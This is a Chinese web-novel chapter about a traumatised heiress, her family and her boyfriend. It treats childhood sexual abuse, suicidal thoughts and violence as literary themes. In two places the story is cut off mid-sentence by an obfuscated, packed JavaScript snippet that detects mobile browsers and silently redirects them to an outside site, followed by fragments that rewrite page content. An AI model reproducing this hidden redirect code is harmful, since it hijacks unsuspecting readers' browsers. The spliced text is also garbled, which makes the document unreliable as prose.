《万亿千金选择继续复仇》 1. 丧事喜办 闫涓钟?易慧去GOODNIGHT BENJAMIN吃晚饭,吃完沿湖里步行街散步去山姆,逛完什么都没买就走了。 去山姆的路上有一个下坡,从坡上往下看,在巨大港口旁边的山姆看起来也没多大,易慧那样说。 易慧还说那里的风很大,运气好碰上阴天的话会是她超级喜欢的那种天气。 「所以你什么时候回来?要毕业了都。」 文字从屏幕上方坠下来时月买茶在刷朋友圈。 往日安静的朋友圈自去年夏天起变得格外热闹,其中三位舍友原相机直出的九宫图和emoji配文格外醒目。 停在提拉米苏图片上的手指顿了顿,半晌月买茶才点进消息框打字:「看病呢,说不定什么时候回去。」 「上厕所去。你快别熬了,早点睡。」 消息嗡嗡嗡弹出,月买茶没有再看,只把手机扔到一点儿褶皱都没有的床中央。 床品是梦幻公主风的,印穿lo裙开茶话会的小羊和无尽的玫瑰,齁得人牙疼。 月买茶并不喜欢那种风格,一点儿也不喜欢,十分不喜欢,很讨厌的那种不喜欢。 但总想着很快就要离开了没必要多生事端,所以她一声不吭。 很快了夏秋冬三个季节,她的脚还在国境线里。 戴好辅助排尿的腰带,她拿起装有信号屏蔽器的平板去到厕所。 厕所也是粉的,好在掺了点浅绿,没有寝具那样齁得慌。坐到粉色马桶上,启动腰带,她打开平板处理邮件。 运送用于发射星球的核弹的船已从基金会军工厂启航,目的地是太空远征军太平洋基地。 卸货后船会继续向东开,途中会经过普吉岛。普吉岛很美,月买茶从来都知道,但她对同一海域的丹老群岛更感兴趣。 尽管两个岛屿她都没去过,尽管她本人对海岛度假完全不感兴趣。 但想到描绘了四年的蓝图将要实体化,月买茶还是忍不住勾起嘴角。 哪怕从伤疤上长出的巨大计策并不好笑。 但……那也算梦想吧。 知道梦想要成真了笑一笑也没什么关系,月买茶那样告诉自己,嘴角却捞不着自溺的人一样沉到很深的地方去。 真可悲,笑都不敢笑。她划拉着平板,审核Anne—Elle慈善基金会和至乐慈善基金会的资金来去。 轻轻缓缓地,腰带朝身体内部输送着电流,与纳米机器人一起辅助泌尿系统发挥功能。 “嘀嗒,嘀嗒”的声音自身下传出,四周却沉寂无声。像在鬼片里,而自己是那个故事开头会发出一声尖叫然后死掉的人。 我知道你想听的不是那个,但那就是开始。 能决定十亿人生活的资金在平板和指尖上流转,月买茶终于笑了出来。 我爱我,月买茶爱月买茶,月买茶永远都不准对月买茶有任何负面想象。 莫名有点想吐,因为月买茶爱月买茶,所以月买茶站起来去吐了。 热水冲下来,世间没有了可憎的嘀—嗒—嘀—嗒,也没有吐出来。 腰带还在运作,还是得回到马桶上。 又得重新来过。 那样一场助排尿要两个小时,不多一秒不少一秒的两个小时。 两小时结束,月买茶筋疲力尽离开粉色马桶,走到那个让两个小时格外漫长的莲蓬头下淋了个冷水澡。 换上有小羊图案的粉色睡裙,她回到床上。 手机和平板要拿去充电,安静时要戴粉红噪音耳机,生物钟需要关灯,睡觉需要闭眼。 其实知道自己睡不着,但不知道为什么非要做那一套睡觉的动作,显得自己像个人? 月买茶最能确定的事就是她是个人了,从妈妈产道里出来的那种正常的人。 正常的人,不是正常人。 physical的人,不是mental的人。 做人就是屁事多,张开双臂双腿,她大字形盯着上方的床幔看。 粉色的,蕾丝的,玫瑰花图案的…… 还是睡着吧。 * 又走进那座莽莽的林里,林中央有片空地,空地上有尊巨大无头佛,佛锃亮洁净一尘不染,四周却无香火,无经声。 一个把寂静岭衬得热闹的地方。 不知道自己在梦境里扮演的是什么角色,月买茶只知道自己是要醒了。 摘下粉红噪音耳机,她在脑鸣声里眨了眨眼—— 带金边的粉色挂钟蹦蹦跳跳地才走到四点五十九分。 有比在预计睡觉时间之后睡去,在预计起床时间之前起来更不详的事吗?闭上眼睛,那尊佛还在。 或许是因为她还要再醒来,所以那尊佛没走,只静静坐在莲台上,等世事变迁。 抚慰人心的树叶摩擦声里她迷迷糊糊上了人的背,比鹭岛港口更宽阔的背,高高地托举起她,让她得以俯瞰佛颈上光滑的切口。 月买茶听见了自己幼小的哭声。当然不是因为切口哭的,为什么而哭呢?不知道,只记得背她的人用阴天大风一样让人舒服和喜欢的声音讲刑天舞干戚的故事。 故事到最后黄帝会溜回天庭,刑天会徘徊在常羊山附近终日挥舞着干戚,那人则会叹气。 到那时就真的要醒了。清醒。“阿什利ed了阿什利ed了……”私生子哥哥已愈的病变作闹铃响起,月买茶想若诸事不顺,她提前原谅自己。 梦到生父,不如被雷劈。 “嘭。” 沉闷不尖锐的声音突然炸开,不寻常得她坐起来,手摸进枕下,她浑身发抖。 过了好几秒才反应过来那是积雪从树梢滑落的声音,收回手,她下床洗漱。 打湿的发垂在眼前,浅紫色的,微微透着点黄,像酸雨里固执盛放的鸢尾。 转身进衣帽间,手指划过各式可爱的冬装,最后停在粉色的冲锋衣上。 想到出门之后会没空吃药,她收回手,迈两道门,到走廊尽头的起居室里。 要先泡茶以防万一。掰一块白毫银针扔盖碗里,加永远都有的热水,忍着烫把旧热水倒出来,再加新热水。 万事大吉,开始吃药。所有药都放在盖着碎花布的藤编筐里,拮抗药、激动药,一粒一粒拿出来放在白纸上,零零总总五十颗,堆成一座小白山。 做那一切,月买茶的动作很小心很谨慎,连呼吸声都被雪声盖过。 血液冲刷血管的声音、眼球摩擦眼皮的声音、毛发生长的声音……器官运作的动静是那样清晰,让她沉浸于斯,遗忘了时间并不为她静止。 “茶茶。”陈述的语气从身后传来,带着刚醒的沙哑。 声控壁灯因男人的声音亮起,月买茶回过头。 柔和的灯光下男人有着神像般的宁静沉默,也有着史诗歌颂里圣王的庄严美貌。 “早上好,舅舅。”月买茶扬起笑脸。 “早安。”齐燕华朝她走来,停在她身前,视线越过她落在她搭起来的小白山上。 “要出门?” 仗着粉色有小羊图案的睡裙在身,月买茶否认:“起来喝水。” 见齐燕华沉默地盯着药,她说我给你泡了茶。 “天天喝咖啡你也不嫌苦。” 齐燕华依旧盯着药。 鼓起腮帮子,月买茶佯怒道她只是突发奇想想知道自己一天要吃多少颗药而已。 “真讨厌你们这种表情。” “没不让你出门。”齐燕华开口,“我要喝茶会自己泡。” “所以一天要吃多少颗药。” 月买茶不知道他说那话时脸上的表情,因为轮到她盯茶水了。 最不喜她的大人都道她聪明,所以她很快认识到问题所在。 无事不登三宝殿……算了,月买茶爱月买茶。 月买茶爱月买茶的一切,包括掩耳盗铃的愚蠢。 坐到沙发里,她单手拿起盖碗拖,喝起自己泡的茶。 空出的另一只手也没闲着,拿去刷手机用了。 拥有一百五十亿人口的天星什么都有,比如slogan是百无禁忌的“浴球”网站。 视线略过种种禁播视频滑到身边的睡袍上,笑盈盈地,月买茶把放着虐|杀视频的手机递到齐燕华眼下,“我觉得这个比咖啡因管用。” “咖啡因利尿,您日理万机,没必要在那种腌臜事上浪费时间。” 平静地看她一眼,又盯起药,齐燕华皱眉:“什么时候要吃这么多药了?” “所以我起来数数啊。” 平静地又看她一眼,齐燕华端走小白山,片刻后拿回来最重要的那颗药——乌拉诺斯。我不吃就会死的乌拉诺斯。 没有说话,齐燕华拿了个猫爪玻璃杯倒水。有八分满的玻璃杯停在眼前,茶碗被收走,月买茶抱臂扭头,“我又不出门,吃什么药。” “我叫Lucky来陪你。”齐燕华做出起身的动作。 “大早上的你非要这样吗?”接过药干吞下去,月买茶很委屈,“我都给你台阶下了,干嘛把事情搞得那么尴尬。” 齐燕华安稳呼吸着,坐姿端正。 起的太早了,很快困起来,走到离起居室最近的卧室前推开门,月买茶很用力地吸了两下鼻子,又很大声地说: “没有嵇珊的味道,真好!” “晚安,舅舅!”说着扑进窗帘已经拉开的房间里,窄长床上铺得整齐的被子还热着,给枕头翻面,掀开一小条被子缝钻进去,她直板板地躺着,用不舒服的睡姿让自己清醒。 盼望着跑步机启动的声音,她听到几声韩语: “素媛怎么解释自己去了哪呢?”*1 “我会说我跟爸妈去了亲戚家或是去旅行。”*1 “如果不好好解释,会有不好的传闻。”*1 心脏瞬间逃离掌控,硬生生将她扯离床,扯出房间。 “你恶心谁呢?“月买茶轻轻带上门,看稳坐在沙发上的齐燕华,不住咽着喉咙以免心脏跳出去砸人。 齐燕华拿着遥控站起来,暂停电视的同一时刻道:“抱歉。” 默了默,他解释:“想看完而已。” “吵到你了,抱歉。” 周日的家庭电影日月买茶推荐了《素媛》,但大家都出奇得忙,所以谁都没看完。 而齐燕华是那种只要看了就会看完的性格。 他看的part的内容是素媛在和心理医生聊天。就要开学了。 电影是从姚灵雨那边知道的。 月买茶一直认为自己没看完那部电影是因为电影太俗,在好天气和好听的音乐里解决完恶人最后快快乐乐生活的大团圆结局她嗤之以鼻。 张开嘴,接下去要说什么似乎都不合适,齐燕华不是加害者也不是知情人。 怪什么都不该怪路人。 “我出去一趟,跟尤寒色一起,晚饭不回来吃。” “抱歉。”看着齐燕华琥珀色的眼睛说完,她返回自己的卧室。 * 高领毛衣,格子百褶裙,过膝袜,粉色大衣遮盖一切,靴子避免头重脚轻,帽子围巾遮挡显眼发色,挎上包,月买茶离开卧室。 唯一的楼梯就在起居室旁边,路过站着喝水的齐燕华,她抬起头,用露在外边的眼睛与他对视。 “走了,舅舅。”脚步不因话停歇,迈下第一阶台阶,她听见齐燕华说: “外面很冷,这样穿会着凉。” 长辈说话要回答,那是监护人的教导。回过头,看着齐燕华的琥珀瞳,她说:“这样够了,我已经很热了。” 那或许是那天到以后的唯一一句真话,她的确很热。 仿制药过敏和应激让她变热。 快步下楼,堂堂正正漂漂亮亮地走出大门,走过堆着雪人的庭院,到街道上,看着安静的小楼们,月买茶没忍住回了下头。 砖红色小楼外零零散散挂着几个空调外机,灰蓝色天幕下外机圆形的排气孔像瞳孔。 独眼的瞳孔。 我天才的家族。 一阵恶寒,身体却更加热了。收回头,她踩着崭新的沥青路向外走去。 很快听见扫雪的声音,她加快脚步,循着树叶划过地面的声音走到最近的地铁站,去北工大。 尤寒色说工大附近开了家沙茶面。 没有卖沙茶面的地方是不卖冬粉鸭的。 “来碗冬粉鸭,加醋肉。” “多加一份生菜。” “生菜不用烫,拿碟子给我单独装就好,谢谢阿姨。” 加了醋肉的冬粉鸭和新鲜的生菜很快就上了桌。血糖原因,月买茶得先吃菜。 缓慢咀嚼着生菜,思绪被涩味挤得满天飞,一会儿素媛的妈妈在说: “世界上那么多孩子,为何偏偏是我家孩子遇上这种事。我希望所有孩子都有这遭遇,那么素媛就不会受到关注那么痛苦了。”*1 一会儿跳出缅甸的米制品种类很多,应该饿不着她的想法。 “你有过这种想法吗?想一觉醒来就回到过去。昨天我有这感觉,觉得睡一觉后,所有事都会回到正常。所以我把所有药都吃了,而且在睡前祈祷,但醒来后什么也没有改变。”*1轮到素媛讲话了。 晦气晦气晦气,有风和云的天气怎么能被那样玷污?猛地抬起头,她在店主阿姨询问的目光下笑,“阿姨,再加份鸭血,谢谢。” 端血上来的时候店主阿姨赠了她一个橘子。 “耙耙柑,好吃的。” “谢谢阿姨。”月买茶甜甜笑道。 把耙耙柑放进口袋里,月买茶很认真地吃起冬粉鸭。 吐着碎骨头,口袋里的手机嗡嗡作响,取出来看,全是信息。 下午两点会有很重要的医疗器械从至乐基金会北城基地通过大元帅陈嫣然特批的运输通道离开北城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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笑眯眯听着她讲,尤寒色一手牵住她,一手提着她买的东西进客厅。 小居室做了开放式厨房,坐在客厅的奶黄色沙发里,月买茶抬头就能看到尤寒色忙碌的身影。 从调味的西红柿说到熬汤底的猪骨,想起啃骨头的困难和脱骨肉的便利,她哎呀一声:“别忙了,给你打包了沙茶面。” “油条都泡烂了。”沮丧地歪倒进沙发里,她勾住套着钩针枕套的抱枕抓啊抓。 尤寒色发出轻笑,紧接着是塑料袋被翻找的声音。 从塑料袋王国里找到没什么存在感的沙茶面,尤寒色拿了个瓷碗把面倒进去,又拿了个托盘装碗。 接着是榨汁机运作的声音,橙子的味道在空气里散开,月买茶叫道:“口袋里还有个耙耙柑。” “买沙茶面的时候店主阿姨给的。” 尤寒色便停下手头动作,去了趟玄关。很快从玄关返回,他端着一碗面一杯橙汁和一个橘子到客厅里。 托盘平稳地落在茶几上,尤寒色也熟练地坐在她身边。顺势扶起她,让她靠着肩,尤寒色柔声道:“泡烂的油条才好吃。” 但尤寒色并没有去动沙茶面里的油条,略过咸香的沙茶面,他拿起耙耙柑,扒开,说啊。 月买茶啊起来。 应季的耙耙柑汁水很多,果肉柔软得吹弹可破。用舌头和上颚挤烂耙耙柑,汁水转瞬流进喉咙,吞下固形物,月买茶伸手拿过剩下的耙耙柑,坐起来,让尤寒色快吃面。 扒着耙耙柑,她道: “我不是去吃冬粉鸭嘛,吃到一半那个阿姨打电话骂她女儿,骂得好大声,还超级难听——” 叮,干净的筷子被放在瓷碗上,不好说是大还是小的力气,总之月买茶住了嘴。 “嗷。” 看着咬住自己脸颊不放的凶手,月买茶嘟囔道: “这种事情很常见的好不好,我没跟你说过吗?” “我田野调查的时候——” “——不想听你讲别人而已。”松开她的脸,尤寒色打断她的话。 把她抱到腿上,他探身抽了几张湿巾擦她脸上他的口水。 脸跟着尤寒色的动作摆动,月买茶沉默看着他,半晌鼓起腮帮子道:“干嘛咬我。” 尤寒色没解释,只絮叨:“组会一时半会儿开不完,中午饭我帮你叫外卖。火锅晚上我回来弄,有别的想吃的发消息给我我带回来……” 湿巾在空中画出抛物线,尤寒色安排好日出和日落间的一切。 轻轻摇了摇头,见尤寒色笑吟吟看着她没有动作,她又重重摇了两下头,“你哪来的组会?” 尤寒色的导师迷信周一做什么都倒霉,愿意起来给学生上两节早八纯粹是为了考核。 不去都可以的课。 脸上笑容不变,尤寒色轻声细语:“临时有个会,那就这么定了。” 默了默,月买茶不拖泥带水道:“出国办点事,什么时候回来不清楚。” “你也出去好不好。”她靠住尤寒色的肩,搂住他胸膛,软着声音诱惑: “哈耶麻普斯,任你挑。” 说完要抬身去亲尤寒色,肩上却环了两条让她动不了的手臂。 “了了。”尤寒色无奈的声音淋下来,“特意来这一趟,你傻不傻。” “这种事在手机上说就好了。” “搞得我都不敢看你了。” 看着闭眼的人,月买茶默默把头靠回去。 她总是这样,让人生厌的犹豫不决模样。 停!不准说自己坏话,她立刻阻止自己。 “陪我睡一会儿吧,好困。”尤寒色说。 月买茶就闭上了眼。压抑睡意的怨恨终究敌不过潜意识的信赖,很快她陷入了黑暗中。 清醒时是躺在床上盖着被子抱着小羊玩偶的姿态。 踩着睡袜跑去客厅里,茶几上的托盘和碗不见了踪影,厨房也纤尘不染的像从未有塑料袋停留过。 只有空气里淡淡的柑橘气味能证明有什么发生过。 嗡嗡嗡声传进耳朵,她环视一圈小居室,才循着声音回到卧室,在熨得平整的黑色大衣里找到手机。 置顶的头像旁有红点,她点进去,看见两条留言。 “不管在哪,记得我爱你,我想你。” “别勉强自己。” “阿什利ed了你阿什利ed了……”私生子哥哥已愈的病做的闹铃再一次响起,提醒她九点了。 穿上合身的黑大衣,没挎包,把手机放进口袋里,找了张便签写上“知道了”,用他们合照做的冰箱贴固定住,她插着口袋离开。 楼下的早市正进行着散场大甩卖,虾米一样蜷缩着的老爷爷还在卖cheap蛋糕,按着口味买东西,她想: Money Power Glory Gaokao IB GPA 鸭掌鸡爪活珠子 蛋糕蛋糕蛋糕。 拖着脚在雪地里走,月买茶听到塑料袋嘶啦嘶啦的尖叫。 2. 吉利日子 塑料袋碎了。 圆圆红红的西红柿滚到远处的江畔,长长扁扁的鱼滚到近处的草旁,朝灰扑扑的天翻白眼。 黑衣保镖们从四面八方涌来,像脱了隐身衣的大内高手。 保镖队长涌到跟前,看着他冷峻的脸和伸来要拿塑料袋残尸的手,月买茶往后退了一步。 一步就退到积着雪的松树下,树下有辆黑亮的奥迪,奥迪后座的车门开着,露着大哥哥的侧脸。 很快侧脸变为正脸,盯着眼镜银色的边框,月买茶真情实感提醒道: “哥,今天是星期一,你要上班的。” “有很多人在等着抓你小辫子诶。” 叶青衫微笑着,镜片后的丹凤眼弯出好看的弧度,“今天出差,不用上班。” “谢谢你的关心。” 对跟上来的保镖队长说把东西捡起来,叶青衫持续微笑着,拿出一个没盖盖的长方形透明塑料盒——那塑料盒里头歪歪斜斜躺着盖柠檬的鸡爪。 “路过市场,想起你爱吃,就买了。”左手捧着盒子,叶青衫把盒子抬到月买茶眼下。 他右手握着手机,两只手的青筋俱暴起。 在一个大哥不吃畜禽肉二哥不吃爪三哥不吃皮的家庭里,月买茶几乎丧失了啃爪的权利。 盯着那皮与筋大起大伏生前应该是享了不少福的鸡的爪,月买茶在香精味里嗅到了同样性质的感动。 “哥你好爱我。” 从轻飘飘的塑料袋丛中找出硕果仅存的蛋糕袋子,又从袋子里挑出芒果蛋糕,掰开纸盒上的盖子,她捧着纸盒到叶青衫鼻前。 叶青衫的鼻翼扇了两下,然后停住了。 “你不是不吃蛋糕?”他低低地以似乎一张大嘴就会吐出灵魂的声音说。 有雪落下,落在头上,冰封住大脑,冰面被阵阵寒风磨得没有摩擦力,红舞鞋旋转跳跃不停歇,吸收走冰面下所有的生命力。 你怎么能这么问我? 坐奥迪长大的你难道不知道我在停着福特的房子里遭遇了什么吗? 安德鲁.蒙巴顿说我没反抗,所以是在勾引。 告诉我要怎么证明五岁的力气约等于无? “少爷小姐。”保镖队长走来,似乎要说什么。 他手里拎着许多东西,包括破了壳的活珠子。 或许叫毛蛋更合适。 死尸的气味弥漫在空气里,一左一右别过头,她和叶青衫一起发出干呕声。 干呕不闭眼,累了一样松开手指好让叶青衫拿掉她手上的东西,她望着远处弯腰拾东西的保镖们。 黑西装裤包裹着的臀,一弯一弯被烧死的山,你说我是早产儿,所以我该是属猴的吧。 正好我讨厌羊。 “拿去扔了。”她听见叶青衫说。 被扶进后座的另一边,车门合上,干净温暖的味道顺着所有孔洞钻进身体,挤走无理取闹的不健康香精味道。 “边境那边有点事,不知道什么时候忙完,应该会跟语迟一起回来。在家里别仗着年纪小欺负人,小白也是有脾气的。” 疲倦摘下眼镜,叶青衫闭着眼道:“钱不够花就跟家里要,别什么忙都帮。” “知道我在说什么吗?”久久的沉默之后,叶青衫说。 月买茶点了点头,语气轻飘飘的像好天气里的微风:“哥,下次别让那么多男的围着我,我被强|奸过,见到那种场面会害怕。” 叶青衫平缓的呼吸滞了下,戴上眼镜,他伸手揽住她的肩,轻轻拍起来。 他拍了一路,月买茶困了一路。 困到行程的终点——一级议院的停车场,她睁开眼,侧过头看着叶青衫。 叶青衫的唇动了两下才发出声音,“乖乖呆在家里,你想要的都会给你。” 咽下笑声,她哦了声。 “谢谢哥哥。”她推门下车。 车子安静地停在身后,她站在电梯前,方正的金属门开开关关,她盯着脚尖问:“没有早产的话我是不是属猴的。” “你的预产期在当年的六月。” 那就还是属羊的啊。 真讨厌羊。 “知道了。”月买茶抬起头,对金属箱笼里模糊的自己笑,“谢谢哥,我走了。” 上到齐燕华办公室,驻守的秘书迎过来,说都去开会了。 摘下围巾和帽子放到柜子里,看着里头质量优异的外勤衣物,她问得很随意:“审计从滨城回来了?” 秘书说是,“议长很生气。” 端午的时候滨城要办军赛,那种天星级别的赛事向来猫腻多,齐燕华生气也是理应的。 慢吞吞合着柜子,见秘书不时看她一眼,她后知后觉想起来运动会是基金会承办的。 “听说苏迩安亲自写文章强调要严禁尸位素餐胡作非为?”她一副闲谈的口吻。 秘书肃然起来,说苏院长确实在强调要让能人办好事,“议长也是这么想的。” 要把北省拉扯起来,齐燕华确实得那么想。 他也有那个魄力做就是了。 “这样啊。”咔哒—柜门未推到底就被卡扣吸得合上,月买茶转过身,“你忙吧,我去吃午饭。” 步行到日料店,照习性点了所有能点的生肉和不要酱料的生菜沙拉,她盘腿坐下,接电话。 来电的是基金会良纪部门里的人。 总归是响应议院长号召的事,说话的人不疾不徐,她也不紧不慢咀嚼着生肉。 说完,那人唤道:“大小姐。” “有那么多人啊。”月买茶慢吞吞地运转脑子,关系网密密麻麻的,腐蚀着她的基金会,“都移送吧。” “会不会太过了点,眼下是孩子们升学找工作的节点。” “把卡的人弄下来,位置不就有了,就怕没人着急呢。” “总不能我们盯着哪里有空缺吧。” “还有一些跟慈山有关的……” “他们会给我打电话的。” 电话结束,她伸手去抓肉,手下空荡荡,她抬起眼,看着只有装饰物的漆器陷入沉思。 喊服务生来追加刺身拼盘,思考是要点大份还是超大份的时候,一股温暖的柑橘味道飘进了她鼻腔。 一下子食欲全无,她跟服务员改口说不用,扭头问:“舅舅,你要喝什么?” 站在小小的移门和枯山水边,齐燕华也说不用。 那就结账走人,齐燕华厌恶生食,她总不好再吃下去。 出去以后齐燕华问她午饭想吃什么。 一时半会儿月买茶还真没什么想吃的。 齐燕华说那就印度菜吧。 坦坦荡荡扫描起齐燕华,见他不是在暗示什么,月买茶说行啊。 跟齐燕华吃饭,点单的工作都是他们小辈来做,按齐燕华的偏好点了些菜,她把勾选过的菜单给齐燕华看。 齐燕华那会儿在看窗外,似乎在思考着什么。闻声接过菜单,从头到尾扫一遍,他加了杯黑咖啡。 菜上得很快,慢吞吞吃着无酱蔬菜沙拉,月买茶听见一句口音奇妙的“不合口味吗?” 握着叉子抬头,她见图案华丽的桌子对面,属于齐燕华的餐具干净锃亮一如他们入座时的样子,而荤菜上面结着一层皱皱巴巴的膜,只有黑咖啡降了点水位。 月买茶立刻放下叉子。 跟老板表示完对香料过敏,齐燕华转回头,道:“影响到你了。” “抱歉。” “本来就没什么胃口。”月买茶说。 “那我打包去了,给Lucky和Smile打打牙祭。”她站起来。 看着那些没被动过的肉菜,齐燕华的长睫颤了颤:“米杰家在附近。” 米杰……一个品行还行但太会明哲保身的人,换了个闲职后过得不怎么样。 “都什么年代了。”月买茶嗤声。 去最近的银行取了点现金,把有五千克多的纸袋给齐燕华,她说得去买点什么。 左不过是水果牛奶营养品那些东西。齐燕华在不擅长的事上一向安静,她买什么他就拎什么。 米杰家在很一栋很老的楼里,去时必经过一条破得只有边缘能走的路。 小心翼翼怕藏污纳垢的雪弄脏白靴,躲闪的时候,她听见齐燕华问: “什么跑道一平五十万?” 一脚踩进雪里,凉意直冲大脑,月买茶回是高科技。 “能破纪录的。” “投出去的钱收得回来吗?”齐燕华把纸袋挪到另一边的臂弯里,用空出来的手扶她。 靴子质量好,并没有被浸湿。手揣在兜里,她看着把纸袋移回去的齐燕华,笑了下。 “能砸出来个大力神杯也值了。” 前后走着拐进只有国足世界杯夺冠的涂鸦还鲜艳的楼里,月买茶朝米杰家喊了两声,“有人在吗?” 米杰的妻子很快就出来了,病怏怏的,惊恐又厌恶地隔着她看齐燕华。 齐燕华把手里的东西递给她,她把东西递给米杰的妻子。 都没吭声,她空手转身,米杰的妻子满满当当地摔上门。 嘭的余韵里齐燕华伸出裹着骆马绒大衣的手臂,在原地默了很久,月买茶才揽住那条固执的手臂。 去能进车的大路上会路过一个垃圾堆,垃圾堆不臭,味道都被冻着了。 垃圾堆上爬着好几只猫,打架,翻找,奄奄一息。 视线跟着齐燕华一起停在一只一看就是怀孕了的年幼母猫上,她听着他的呼吸,想说点什么。 不待思考,一辆黑色奥迪压着沥青路来,停在他们面前。 * 据说舅舅的幼妹遭了大难,所以针对痴傻的女孩儿们北省有一套独立且强硬的福利措施。 那是月买茶被那群放荡的女孩儿们吵醒时,厨娘惋惜的解释。 年纪不同的女孩儿们,穿纯白的衣物,跪坐在她摆成大字形的身躯旁,叽叽喳喳地聊天,给她涂指甲油,上高光,喷闪粉。 那我呢,月买茶想。 她这个受害的人以后会有人那样冒天下之大不韪来怀念吗? 见她流泪,女孩儿们齐齐放下手中物什,弯下身来舔她的眼睛。 她们温热湿黏的鼻息让月买茶想起姚灵雨养过的蛇。 蛇,美杜莎。 若她能看我,若我能做不会痛的石块多好。 可是她们只顾着舔她,像固执己见的猫。 “This is CNN breaking news……Three-star Vice Admiral Andrew. Mountbatten''s daughter Anne. Mountbatten was victimized in an honor killing……” Anne,安妮,我的安妮。 我的安妮,睡在石头里的你可知晓这一切?若时光能倒流,你可会收回毒手? 内置安全套随着呼吸咯吱咯吱响,月买茶翻了个身,从回忆中脱离出来。 换上新的内置安全套和黑漆漆的运动套装,她离开卧室,重复早上的动作。 小白山垒起,小白山倒塌,日复一日看自然界里万年才会产生的现象于分钟里出现又消失,月买茶的心总会惶惶。 哪怕知道那种惶惶是药物的副作用。 是药三分毒,以往吃完药后她会被三个哥哥和齐燕华摁在遍布宅邸的懒人沙发上休息。 可现在才四点,家里只有厨房是热闹的。 不知道待在起居室能做什么,又不想回卧室,只好去书房。 一进书房就看到常玉画的苍白小鹿靠在长桌尽头的窗户上。 月买茶是因为《房思琪的初恋乐园》对那幅画感兴趣的。 说来也好笑,她老是因为书中羊犊脸的描写把封面那只苍白小鹿当做被剃了毛的羊。 不过也没什么区别,都是好欺负的动物。 躺到冷暗的长木桌子中央,月买茶把双手交叉在小腹上。 再来上一把火,她就能被厚葬了。 台岛柔软的腔调在柴火里游走,窸窸窣窣的声音里,书房厚重的门动了下。 不算亮的灯光淋进来,她听到那位受害者说“我好像被大雨给淋醒了一样”*1。 隔海相望,她的世界雨也下个不停。 “太太来信了。”雨声里她听见聋女阿兰用粗哑的嗓音说。 活泛好压麻的手臂,她朝阿兰伸出掌心,讨要那封信。 没多欣赏信封的精致漂亮,她直接撕开信封,展红艳的薛涛笺于书房暖色的灯光下。 “太太”的字很好看,她在信里仔仔细细地关心了会儿她的丈夫,转言问起素未谋面的外甥女:嵇医生近来有吃什么药吗? 从纸巾盒里扯出几张红钞塞给阿兰,月买茶叫她下楼去把餐边柜里的黄色药瓶拿上来。 见字如面,舅妈。执起笔,月买茶在信的反面写下:嵇珊的肚子很平,我们刚吃完一瓶优思悦。 老女人吃叶酸的眼神看过来,她迅速摁几下圆珠笔的屁|股,在“优思悦”后头添了句:嵇珊要去北海道参加狩猎活动,听说那里闹熊灾,猎人们打熊的时候常误伤人,希望她不会有事。 才放下笔,聋女阿兰就又靠到门上。“先生叫你下去喝牛奶。”阿兰用熊嚼人的难听嗓音说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968798|193415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 朝纸巾盒摸去手,手下空荡荡的,像阿兰的心。默了默,她把信折起来,揣到兜里,越过阿兰下楼。 客厅的摇椅咯啦咯啦响,她跪坐到地毯上,端起浸过香草荚的牛奶喝,顺便掀起眼皮看站在窗边吃悄摸放在避孕药瓶子里的叶酸片的老女人。 老女人叫嵇珊,是个精神病医生,同时是个情妇。 让她做情妇的花心男人正坐在摇椅里看报纸,两腿交叠在一起,隐藏了男人的资本。 把唇上的绒毛喝得白乎乎的,月买茶膝行到齐燕华跟前,仰起头,乖巧得像只聆听阔气路人废话的乞丐。 “你舅妈跟你说什么?”齐燕华问。 “问你一天吃几顿。”月买茶答。 齐燕华放下报纸,露出让月买茶恨不得化狗来吃的俊脸,顺带伸出他长满茧的手掌。 “记错了,是问你一天拉几次屎。”月买茶修改了她的回答。 齐燕华没什么表情地喊了声阿兰,“牵Lucky来。” 月买茶大大方方地把妻子的信件归还给了丈夫。 齐燕华读完给了精神病医生,嵇珊看都没看一眼,直接把信扔进壁炉里。 薛涛笺和簪花小楷在火里扭曲,齐燕华轻描淡写道:“明天跟我去青琐,以后你是我养女。” “好的舅舅。” 从不在外人面前有什么多余想法,月买茶微微笑得很礼貌。听了会儿壁炉里木柴炸开的哔啵声,她说起比被认父更火烧眉毛的事,“爸爸,我生活费花完了。” “不是刚给你。” “都拿去付阿兰的跑腿费了。”啪嗒一前倾身子,她把头靠在齐燕华紧实的大腿上。 亮出涂着血红指甲油的食指抠起腿挂的弹力带,她轻轻尖尖地说着仿佛在梦呓:“舅舅,你要是不给,我就没钱跟你去青琐了。” 齐燕华挪开她的手,嵇珊笑了声,走到衣帽架前去穿外套。 月买茶也不恼,吸吸鼻子,没闻到无香型沐浴露独特的凛冽味道,她掰正头,把下巴尖抵在齐燕华膝盖上,眼含诚恳担心:“你们没做|爱。” “舅舅,你阳|萎了?” “我囤了好多伟哥,你要吗?可以卖给你。” “保管您重振雄风。” 齐燕华好似没听见,拨开她的头,他站起来,送情妇出门。 有情人在雪夜里接吻,月买茶把额头抵在摇椅的藤编垫子上,在没钱的不快乐里暗骂: 谁没出过轨啊。 * “梨酱吗?昨天我们还在讨论茶桑你什么时候会打电话来呢。” “梨酱她啊,在观众眼里肯定会是个好女孩啦,只是私底下……” “茶桑不吃不应季的水蜜桃吧。梨酱她啊,就像是颗被打了太多药的青桃,成熟得太早,甜得太假,只挂在枝头看呢一定是赏心悦目的,硬要吃的话,桃子和人的心意就都要被辜负了。” 激素熟的桃?听不懂。 “这样啊,那麻烦你好好照顾她了。” 梨酱复姓微生单名梨,纯种夏洲人,跟她有八分像,差的两分在身高上,她们的身高差有十厘米。 她们是在法庭上认识的。 微生梨是个很典型的失学女孩,被家人忽视,被互联网引诱到成年人的世界里,成为受害者,转变成加害者。*2 痛苦完成闭环,等年龄一到,公序良俗就能理直气壮缺席。 该说什么好呢?那又不是什么夏洲独有的现象。把电子烟夹在手指间,月买茶蹲到落地窗前。 